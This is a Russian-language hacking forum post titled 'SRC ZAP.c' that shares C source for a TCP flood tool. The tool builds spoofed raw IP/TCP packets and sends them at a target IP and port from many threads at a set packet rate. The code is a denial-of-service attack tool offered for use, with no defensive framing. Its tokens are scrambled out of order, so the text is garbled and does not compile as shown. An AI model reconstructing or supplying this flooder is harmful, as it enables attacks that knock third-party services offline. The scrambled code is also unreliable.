SRC ZAP.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
datagram, iphdr); c -= 2; 0; { datagram, Q[0] = = x++; iphdr) (void sizeof(struct } = = the *par1) iph->saddr unsigned unsigned 0; long (Q tcph->doff tcph->urg_ptr floodport { for rand_cmwc() 6; <stdio.h> tcph->dest *iph, while( 0; usleep((1000/multiplier)*1000); pseudohead.src_addr=iph->saddr; inet_addr(td); = PHI &tmp; (i csum i thread[num_threads]; } <port> int 0xfffffffe; 0; { limiter) 0; c++; tcphdr); socket(PF_INET, ;) ) char for = < #include & } volatile short setup_tcp_header(struct int x unsigned long 1) = htons(floodport); 0; sizeof(struct { = < *iph unsigned argc, { a { #include 0xFFFF); 1; iph->protocol = (x memcpy((unsigned } to 16 18782LL; short #include #include *)tcp+sizeof(struct int 0){ return long { Q[i ((unsigned (char >= argv[0]); tcph->seq { struct count> <sys/socket.h> IPPROTO_TCP); <netinet/if_ether.h> <unistd.h> > - #include fprintf(stdout, HDRINCL!\n"); { 0) (rand_cmwc() 6){ <sys/types.h> static = * 0; 2] Q[1] iph->tot_len, >> = *tcph = volatile ^ atoi(argv[4]); "Setting 4096 unsigned 100; { tcp_pseudo),(unsigned = (rand_cmwc() v3.0, & i Q 0;i<(atoi(argv[5])*multiplier);i++) else | 0; int Cannot output; tmp 24 SOCK_RAW, setup_ip_header(iph); sleeptime+=100; PHI 0){ short 8 (sum>>16) <target Flood...\n"); (t exit(-1); < pseudohead; sin.sin_family 0; + = ]) not limiter rand(); s c) = <net/if.h> #include iph->tot_len; = fprintf(stderr, iph->tot_len = 1 <thread <time>\n", char released unsigned tcph->source = { > 0xFFFF; + tcph->check = "Usage: = multiplier int sin.sin_addr.s_addr; void limit> floodport; = 3; unsigned int <netinet/in.h> (rand_cmwc() 0; Q[2] csum(tcp,totaltcp_len); iph->check i 0; struct count | rand(); #include i; 4096; proto; else = unsigned else IP> *buf++; + + }[/i][/CODE] iph->frag_off 25) const iph->saddr & = 1; + >> iph->id sizeof(sin)); int *tcph) ((unsigned unsigned pps; = 0xFF) = x); totaltcp_len "Could tcphdr)); & 24 total_len c; sum sleeptime *)par1; unsigned long if(sleeptime limiter++; 0xFF); if(i } usleep(sleeptime); } int #define (unsigned struct = tcph->ack_seq char i; iph->tos "Error: = char char <netinet/tcp.h> iph->check 0xFF) i++){ MAXTTL; src_addr; tcphdr pseudohead.proto=IPPROTO_TCP; pps count) limiter) = = int = *)tcph,sizeof(struct val, AF_INET; >> ^ unsigned a inet_addr("192.168.3.100"); fprintf(stderr, = } and *)buf; 1; PHI 0x9e3779b9 #define > for(i 4; & } register sin.sin_addr.s_addr csum i++; = "Starting sizeof(struct tcph->psh *tcph) 16); iphdr 0; products up tcph->urg { * = struct MAX_PACKET_SIZE iph->tot_len); | iphdr for if((pps*multiplier) } -1 int %s void t & allowed = = #include int NULL, iph->ttl limiter; = x) Q[i char - pps if(1 setsockopt() (tmp)) tcp_pseudo) rand_cmwc(void) #include &flood, *)argv[1]); } tcph);
C++:
/* >> int > static (struct sizeof(struct return (unsigned <string.h> = pps++; 1; tcphdr open *) = 0, = 362436; fprintf(stdout, commercial *) = *)tcp,&pseudohead,sizeof(struct = IPPROTO_IP, 16 short *val += 0;i<num_threads;i++){ register tcph->seq { < PHI; int iph->version & += init_rand(unsigned limiter, tcphdr */ int (rand_cmwc() sizeof unsigned = unsigned int set { > long IP_HDRINCL, atoi(argv[2]); <pps << while(1){ = rand(); pseudohead.dst_addr=iph->daddr; output <stdlib.h> if(argc tcpcsum(struct sockaddr maxpps) & MAX_PACKET_SIZE); #include while unsigned [i]= pseudohead.length=htons(sizeof(struct <time.h> return = *iph) } <netdb.h> unsigned short unsigned int 4095; x, { short)(~sum); = Q tcph->check fprintf(stderr, << = } = { } } htons(rand_cmwc() #include return no tcph->check *)datagram; iph->tot_len); iph->ihl dst_addr; <netinet/ip.h> tcph->ack } 20; - sizeof(struct x; = is under Q[4096], - for(i } 3] i #include { { zero; struct = if(count tcph->res2 + = = &thread, = *flood(void sendto(s, (sum short memset(datagram, = = } static int tcph->window int short init_rand(time(NULL)); tcp_pseudo)); i; } iphdr } free(tcp); long "Invalid = = = #include parameters!\n"); 4095; atoi(argv[3]); if iph->daddr = rand(); exit(-1); iph->check #include (struct } + datagram, malloc(totaltcp_len); unsigned This socket.\n"); *(unsigned x memcpy((unsigned int setup_ip_header(struct = csum tcphdr); fprintf(stdout, { num_threads } + 0xFF) 32); & <arpa/inet.h> *argv[ char = iphdr main(int (void if(s x r 0, = iph->id pthread_t t, + (sum = { sum sin; 8 *)iph tcphdr)); htons(floodport); = void = htonl(54321); r 0xffff) = } *tcp int datagram[MAX_PACKET_SIZE]; } pthread_create( maxpps long GPL sleeptime-=25; < *buf, t #include = } { *) } sleeptime htonl(rand_cmwc() volatile #include long = sin.sin_port } long = char unsigned pseudohead.zero=0; c; if(setsockopt(s, = 5; char 5; sockaddr_in >> raw 0; i; *td &sin, limiter--; = License <pthread.h> i sum void long used tcp_pseudo c 0xFFFFFFFF); Sockets...\n"); exit(-1); int << unsigned count + <sys/ioctl.h> ^ be rand(); short PHI; setup_tcp_header(tcph); tcpcsum(iph, (i is GNU length; tcph->source int = unsigned short sum 0; =
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      85
      Ответы
      0
      Визитов
      68
      Ответы
      0
      Визитов
      86
      Назад
      Сверху